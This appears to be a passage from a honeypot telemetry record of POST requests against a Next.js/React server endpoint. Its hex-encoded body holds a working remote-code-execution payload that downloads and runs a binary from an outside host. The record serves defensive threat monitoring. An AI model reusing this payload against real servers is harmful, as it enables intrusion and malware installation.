a20666f726d2d646174613b206e616d653d2234220d0a0d0a5b5d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2235220d0a0d0a7b225f62756e646c6572436f6e666967223a7b7d2c225f6368756e6b73223a2224323a5f726573706f6e73653a5f6368756e6b73222c225f666f726d44617461223a7b22676574223a2224343a636f6e7374727563746f723a636f6e7374727563746f72227d2c225f707265666978223a222866756e6374696f6e28297b5c6e2020202020202020747279207b5c6e20202020202020202020202076617220726573203d2070726f636573732e6d61696e4d6f64756c652e72657175697265285c226368696c645f70726f636573735c22292e6578656353796e63285c226364202f746d7020325c75303033652f6465762f6e756c6c207c7c206364202f6465762f73686d20325c75303033652f6465762f6e756c6c207c7c206364202f3b20726d202d66202e623b202877676574202d71202d2d6e6f2d636865636b2d6365727469666963617465202d4f202e6220687474703a2f2f7761662e70726f787974756e6e656c2e636f3a3838392f67673131207c7c206375726c202d6b202d73202d6f202e6220687474703a2f2f7761662e70726f787974756e6e656c2e636f3a3838392f6767313129205c75303032365c75303032362063686d6f64202b78202e62205c75303032365c7530303236202e2f2e622039342e3135342e34332e32343920323332375c22292e746f537472696e6728293b5c6e202020202020202020202020636f6e736f6c652e6c6f67285c225c5c6e5b2b5d2052434520524553554c543a5c5c6e5c22202b20726573293b5c6e2020202020202020202020207468726f77206e6577204572726f72285c225b2b5d2052434520535543434553533a205c22202b20726573293b5c6e20202020202020207d206361746368286529207b5c6e202020202020202020202020636f6e736f6c652e6c6f672865293b5c6e2020202020202020202020207468726f7720653b5c6e20202020202020207d5c6e202020207d2928292f2f227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356452d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","ja3":"","session":"aada08f4-5925-4901-a785-48226b25c999","seq":1,"duration_ms":100,"bytes_in":1628,"bytes_out":78}],"http_methods":[{"method":"POST","count":66}],"distinct_ports_total":5,"top_paths":[{"path":"/","count":66,"ports":4}],"distinct_paths_total":1,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Accept","Accept-Encoding","Connection","Content-Length","Content-Type","Host","Next-Action","User-Agent"],"representative":[{"name":"Accept","value":"*/*","notable":false},{"name":"Accept-Encoding","value":"gzip","notable":false},{"name":"Connection","value":"close","notable":false},{"name":"Content-Length","value":"1380","notable":false},{"name":"Content-Type","value":"multipart/form-data; boundary=----WebKitFormBoundaryReactCVE","notable":true},{"name":"Host","value":"<HONEYPOT>:3000","notable":false},{"name":"Next-Action","value":"x","notable":false},{"name":"User-Agent","value":"Mozilla/5.0","notable":false}],"distinct_sets":1,"events_with_headers":10},"tags":[],"data_as_of":"2026-08-15T23:42:44.530475+00:00"}